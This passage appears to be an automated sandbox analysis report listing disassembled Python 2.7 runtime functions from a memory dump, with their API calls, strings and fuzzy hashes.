Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Buffer_memcpy$ContiguousErr_MemoryPointerfreemalloc
String ID: F
API String ID: 574524102-1304234792
Opcode ID: 3fd5e4a0a778ca077804374c9b14329c8ea98434446510300035aac327821ab2
Instruction ID: 5cbea58775c23f0525716ca765136180e0a45443955830d1e4fca5f605f158e2
Opcode Fuzzy Hash: 3fd5e4a0a778ca077804374c9b14329c8ea98434446510300035aac327821ab2
Instruction Fuzzy Hash: BE31A2B96003099FDB108F64DC41A9777A8EF55328F144926FC16C6B00E779E9A4CBE1

Function 6C177D80 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000036,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C177DA3

Strings

P&0l, xrefs: 6C177E5E, 6C177E66, 6C177E6E
..\Objects\tupleobject.c, xrefs: 6C177D98
%s:%d: bad argument to internal function, xrefs: 6C177D9D
GC object already tracked, xrefs: 6C177E44

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$GC object already tracked$P&0l
API String ID: 376477240-3861189687
Opcode ID: a89305f6b6f194416907d26a90263cfd66e754bf9de18029128dd15616736d6c
Instruction ID: da452baac1a47d2bb7a0fe3606ab9ee1aa78353a9c2269328f5d3032fb45ec21
Opcode Fuzzy Hash: a89305f6b6f194416907d26a90263cfd66e754bf9de18029128dd15616736d6c
Instruction Fuzzy Hash: C131F7727002045FCB21CF99E8816A5F3B8E756725F50076BED1983B50EB729856C7E0

Function 6C12C140 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 96COMMON

Download Yara Rule

Strings

format expects arg 2 to be string or unicode, not %.100s, xrefs: 6C12C3BC
`'2l, xrefs: 6C12C2D0
%.100s.__format__ must return string or unicode, not %.100s, xrefs: 6C12C390
__format__, xrefs: 6C12C2D5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: %.100s.__format__ must return string or unicode, not %.100s$__format__$`'2l$format expects arg 2 to be string or unicode, not %.100s
API String ID: 0-3896751642
Opcode ID: 1707b9842086a40d418f52d686024c962fa3604e2dc2d2f67028b9c64faaa713
Instruction ID: bcf72d5b67c9dc845f639ad4c92f5af2cab6c87328ee553a01016ad314a36415
Opcode Fuzzy Hash: 1707b9842086a40d418f52d686024c962fa3604e2dc2d2f67028b9c64faaa713
Instruction Fuzzy Hash: B931D679A00204ABE700EE59C950B9EB3B4FF14328F24C648ED2497B81D339ED81CBD1

Function 6C12B460 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 93COMMON

Download Yara Rule

APIs

PyNumber_AsSsize_t.PYTHON27(?,6C2E5B38), ref: 6C12B4C5
PySequence_DelItem.PYTHON27(?,00000000), ref: 6C12B4E0
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B53F

Strings

null argument to internal routine, xrefs: 6C12B539
'%.200s' object does not support item deletion, xrefs: 6C12B512
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C12B4BD
sequence index must be integer, not '%.200s', xrefs: 6C12B4F3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_ItemNumber_Sequence_Ssize_tString
String ID: '%.200s' object does not support item deletion$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$null argument to internal routine$sequence index must be integer, not '%.200s'
API String ID: 3718473444-3283154669
Opcode ID: e0f65a4c857dc9d935e7327b3f461f1eca98013542fb115fe5d9f8a51351f0f0
Instruction ID: 5b03fdf7683f0bd1296d093c79c217ee403fc7b5052af845693811120d858156
Opcode Fuzzy Hash: e0f65a4c857dc9d935e7327b3f461f1eca98013542fb115fe5d9f8a51351f0f0
Instruction Fuzzy Hash: 3721B57A7012059BEB048A65FCC4B667368AF5433DF244729E92E4BEC1D739E8C4C690

Function 6C16DCA0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 93COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\stringobject.c,00000330,00000002,?,?,6C16DC88,?,?,?), ref: 6C16DCC4
PyUnicodeUCS2_AsEncodedString.PYTHON27(?,?,?,00000002,?,?,6C16DC88,?,?,?), ref: 6C16DCF6

Strings

%s:%d: bad argument to internal function, xrefs: 6C16DCBE
expected string or Unicode object, %.200s found, xrefs: 6C16DD1E
..\Objects\stringobject.c, xrefs: 6C16DCB9
expected string without null bytes, xrefs: 6C16DD65

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: EncodedErr_FormatStringUnicode
String ID: %s:%d: bad argument to internal function$..\Objects\stringobject.c$expected string or Unicode object, %.200s found$expected string without null bytes
API String ID: 954898053-3818547146
Opcode ID: 279b15c9ee9e3745c4aeb61d9250a01300a60fcb0e6aa2a6d5ff8f024a9fb006
Instruction ID: 39a85b448f272fa5de8ecd30f49805a98935b49f6674f2ac2be6d7eb2bc94078
Opcode Fuzzy Hash: 279b15c9ee9e3745c4aeb61d9250a01300a60fcb0e6aa2a6d5ff8f024a9fb006
Instruction Fuzzy Hash: CC2108767146055BD710EE3EEC40AA633A8DB95338B244B6AEC38C7FC0EA21E425C6D0

Function 6C0B8070 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 6C0B80A4
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B80CA
PyInt_FromLong.PYTHON27 ref: 6C0B8102
_PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 6C0B811B

Part of subcall function 6C15DBF0: PyLong_FromLong.PYTHON27(?,00000001,?,6C12E114), ref: 6C15DC05

PyInt_FromLong.PYTHON27(000000FE), ref: 6C0B8139
_PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 6C0B8152

Part of subcall function 6C15DBF0: PyErr_SetString.PYTHON27(6C2E63F8,byte array too long to convert to int,?,?), ref: 6C15DC8C

Strings

P&0l, xrefs: 6C0B80DF, 6C0B80E8, 6C0B80F6
GC object already tracked, xrefs: 6C0B80C5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$LongLong_$ArrayByteInt_$Err_ErrorFatalObject_String
String ID: GC object already tracked$P&0l
API String ID: 194711319-2850754575
Opcode ID: 45e6e712f5ab30edd73345bf2598bd98545dd59e8dfc5b84def7b524509c7378
Instruction ID: 1765a27679e419716194bcf4872e0c3f3f51594d9291f27b91483d83da068e76
Opcode Fuzzy Hash: 45e6e712f5ab30edd73345bf2598bd98545dd59e8dfc5b84def7b524509c7378
Instruction Fuzzy Hash: 0631C8B2A003029FD710DF68DC41B86B3E8AB51724F104B2BD979A7BD1E772A5598BC1

Function 6C0A8130 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(__lt__), ref: 6C0A8144
PyObject_GetAttr.PYTHON27(?,?), ref: 6C0A815D
PyObject_RichCompare.PYTHON27(?,?,00000000), ref: 6C0A817E
PyErr_Clear.PYTHON27 ref: 6C0A81A2
PyObject_RichCompare.PYTHON27(?,?,00000001), ref: 6C0A81AB

Strings

__lt__, xrefs: 6C0A813F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$CompareRich$AttrClearErr_FromStringString_
String ID: __lt__
API String ID: 4101424129-312919634
Opcode ID: 115ff2b26b0f5c2a1bc26dc47cfeda37cdeb79ada6f6e9f7412ee47387d31c7c
Instruction ID: bcb401d5d7d52b201fbd2d1bf1718db621bd63cd4bbebf76a5fc26faf8ab3ba8
Opcode Fuzzy Hash: 115ff2b26b0f5c2a1bc26dc47cfeda37cdeb79ada6f6e9f7412ee47387d31c7c
Instruction Fuzzy Hash: A1214476A0165047C61066E9AC40B9B32E84F81A7CF29472AEC25D7F82E728DD0782D2

Function 6C167420 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

PyFrame_FastToLocals.PYTHON27(00000000), ref: 6C16743E

Part of subcall function 6C155510: PyDict_New.PYTHON27 ref: 6C15552F
Part of subcall function 6C155510: PyErr_Clear.PYTHON27 ref: 6C15553E

PyString_FromString.PYTHON27(frame does not exist), ref: 6C167458
PyErr_SetObject.PYTHON27(6C2E65C8,00000000,frame does not exist), ref: 6C167461
PyObject_CallMethod.PYTHON27(?,keys,00000000), ref: 6C16748E
PyErr_Format.PYTHON27(6C2E48B0,dir(): expected keys() of locals to be a list, not '%.200s',?), ref: 6C1674B7

Strings

frame does not exist, xrefs: 6C167453
keys, xrefs: 6C167488
dir(): expected keys() of locals to be a list, not '%.200s', xrefs: 6C1674B1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$CallClearDict_FastFormatFrame_FromLocalsMethodObjectObject_StringString_
String ID: dir(): expected keys() of locals to be a list, not '%.200s'$frame does not exist$keys
API String ID: 29291870-2405348499
Opcode ID: 1306f5b1ea209e57133f7d0a52dd63a5eb8648f5e375a926749f0bbe67740095
Instruction ID: 3d406dab6c876b5a9af409ce63d398fd24f7e0df41efce0a118a2c19c0159e62
Opcode Fuzzy Hash: 1306f5b1ea209e57133f7d0a52dd63a5eb8648f5e375a926749f0bbe67740095
Instruction Fuzzy Hash: 4A115C73F02A2057C2208699AC08EEB73A8DF51734F250365EC6897F80E725EC26C7D2

Function 6C0AB460 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(json.decoder), ref: 6C0AB473
PyImport_Import.PYTHON27(00000000), ref: 6C0AB486
PyObject_GetAttrString.PYTHON27(00000000,errmsg), ref: 6C0AB4AB
PyObject_CallFunction.PYTHON27(?,(zOO&),?,?,Function_0000ADF0,?), ref: 6C0AB4E9
PyErr_SetObject.PYTHON27(6C2E5D10,00000000), ref: 6C0AB4FF

Strings

json.decoder, xrefs: 6C0AB46E
errmsg, xrefs: 6C0AB4A5
(zOO&), xrefs: 6C0AB4E3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_String$AttrCallErr_FromFunctionImportImport_ObjectString_
String ID: (zOO&)$errmsg$json.decoder
API String ID: 3680976038-3043390446
Opcode ID: ca863aff8b02457f2980f4954740e239fd29d1afb3a7a49c39a79732c5cb42d6
Instruction ID: 8c12f65ca0eac3ca23419534481ed90ac918b1bde4d88efc3e8a407ec3b2ed37
Opcode Fuzzy Hash: ca863aff8b02457f2980f4954740e239fd29d1afb3a7a49c39a79732c5cb42d6
Instruction Fuzzy Hash: 2A1106B29006065BC7149AE8DC44F9B73F8AF56738B254318E92887B82E728ED57C7D1

Function 6C14C6E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 71threadstringCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON27(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C14CDE2), ref: 6C14C6F8

Part of subcall function 6C1AE4E0: Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate,00000000,6C1C67DA,00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE4FA
Part of subcall function 6C1AE4E0: InterlockedDecrement.KERNEL32(?), ref: 6C1AE516
Part of subcall function 6C1AE4E0: SetEvent.KERNEL32(?,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE524

_fileno.MSVCR90 ref: 6C14C703
_fstat64i32.MSVCR90(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C14CDE2), ref: 6C14C712
PyEval_RestoreThread.PYTHON27(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C14CDE2), ref: 6C14C71B

Part of subcall function 6C1AE540: Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate,?,?,6C1C67F6,00000000,00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE550
Part of subcall function 6C1AE540: _errno.MSVCR90 ref: 6C1AE569
Part of subcall function 6C1AE540: _errno.MSVCR90 ref: 6C1AE585

strerror.MSVCR90 ref: 6C14C73B
_PyObject_CallFunction_SizeT.PYTHON27(6C2E4EC0,(isO),00000015,00000000,?), ref: 6C14C757

Part of subcall function 6C12F2F0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F317

PyErr_SetObject.PYTHON27(6C2E4EC0,00000000), ref: 6C14C768

Strings

(isO), xrefs: 6C14C751

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_ErrorEval_FatalThread_errno$CallDecrementEventFunction_InterlockedObjectObject_RestoreSaveSizeString_fileno_fstat64i32strerror
String ID: (isO)
API String ID: 3937096073-307836670
Opcode ID: 689b08085a77f0960af7c1ed499db9b24beff6c2008fdbd6cfddff3124816bfa
Instruction ID: ea490098d30b42e84d41c30a386c51e7f3e5aafc798f623c7bb3af245b15fdde
Opcode Fuzzy Hash: 689b08085a77f0960af7c1ed499db9b24beff6c2008fdbd6cfddff3124816bfa
Instruction Fuzzy Hash: 6B113B75B002005BD610A7B8DC49A9773A8DB4432DF144739EE29D3B81F731E81992E1

Function 6C0B7F30 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27 ref: 6C0B7F55

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

Part of subcall function 6C0B7BB0: PyObject_GetItem.PYTHON27(?), ref: 6C0B7BCE
Part of subcall function 6C0B7BB0: PyInt_AsSsize_t.PYTHON27(00000000), ref: 6C0B7BE9

PyInt_FromSsize_t.PYTHON27(?,?,?,?), ref: 6C0B7F7D

Part of subcall function 6C1570D0: PyInt_FromLong.PYTHON27(6C12E114,?,6C12E114,?), ref: 6C1570E2

PyString_FromString.PYTHON27(no such group,?,?,?), ref: 6C0B7F96
PyErr_SetObject.PYTHON27(6C2E5B38,00000000,no such group,?,?,?), ref: 6C0B7F9F

Strings

start, xrefs: 6C0B7F47
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0B7F8B
c.l, xrefs: 6C0B7F4D
no such group, xrefs: 6C0B7F91

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Int_$Err_ObjectSsize_tStringString_$Arg_ItemLongObject_TupleUnpack
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$no such group$start$c.l
API String ID: 2789669055-1870527443
Opcode ID: c748562e85655c96630be9686d709e1586b73365a1eebf713398dd73efc12004
Instruction ID: bd753ffd3d8fcbeb7408d44cbce88a19fb69591e41ce06a74e40ad1763f82262
Opcode Fuzzy Hash: c748562e85655c96630be9686d709e1586b73365a1eebf713398dd73efc12004
Instruction Fuzzy Hash: 93016677A006145BD210DA28EC41BAB73E8DB49234F040328FD28A7B80E732F914C7FA

Function 6C0B7FD0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27 ref: 6C0B7FF5

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

Part of subcall function 6C0B7BB0: PyObject_GetItem.PYTHON27(?), ref: 6C0B7BCE
Part of subcall function 6C0B7BB0: PyInt_AsSsize_t.PYTHON27(00000000), ref: 6C0B7BE9

PyInt_FromSsize_t.PYTHON27(?,?,?,?), ref: 6C0B801D

Part of subcall function 6C1570D0: PyInt_FromLong.PYTHON27(6C12E114,?,6C12E114,?), ref: 6C1570E2

PyString_FromString.PYTHON27(no such group,?,?,?), ref: 6C0B8036
PyErr_SetObject.PYTHON27(6C2E5B38,00000000,no such group,?,?,?), ref: 6C0B803F

Strings

8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0B802B
end, xrefs: 6C0B7FE7
c.l, xrefs: 6C0B7FED
no such group, xrefs: 6C0B8031

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Int_$Err_ObjectSsize_tStringString_$Arg_ItemLongObject_TupleUnpack
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$end$no such group$c.l
API String ID: 2789669055-3366306154
Opcode ID: 9388dcf8d2bb6cf7319dec013018cbd80020e2e7579482c16ec085a8506871d7
Instruction ID: 86030b34b8ddb70546fa0a7ec1a405e62c8382bb3126dbde48b545d8b95ddc0e
Opcode Fuzzy Hash: 9388dcf8d2bb6cf7319dec013018cbd80020e2e7579482c16ec085a8506871d7
Instruction Fuzzy Hash: 46016677A106045BD210DA24AC81BAB73E8DB45234F04472AEE2CA7B80E732F814C7E2

Function 6C158D20 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 55COMMON

Download Yara Rule

APIs

PySequence_Check.PYTHON27(6C12FF2A,?,?,?,6C12FF2A,?), ref: 6C158D2C

Part of subcall function 6C12DF00: PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6C12DF1A

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\iterobject.c,00000011,?), ref: 6C158D4A
_PyObject_GC_Malloc.PYTHON27(00000010,?), ref: 6C158D61
Py_FatalError.PYTHON27(GC object already tracked,?,?), ref: 6C158D96

Strings

..\Objects\iterobject.c, xrefs: 6C158D3F
P&0l, xrefs: 6C158DAB, 6C158DB4, 6C158DBB
%s:%d: bad argument to internal function, xrefs: 6C158D44
GC object already tracked, xrefs: 6C158D91

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
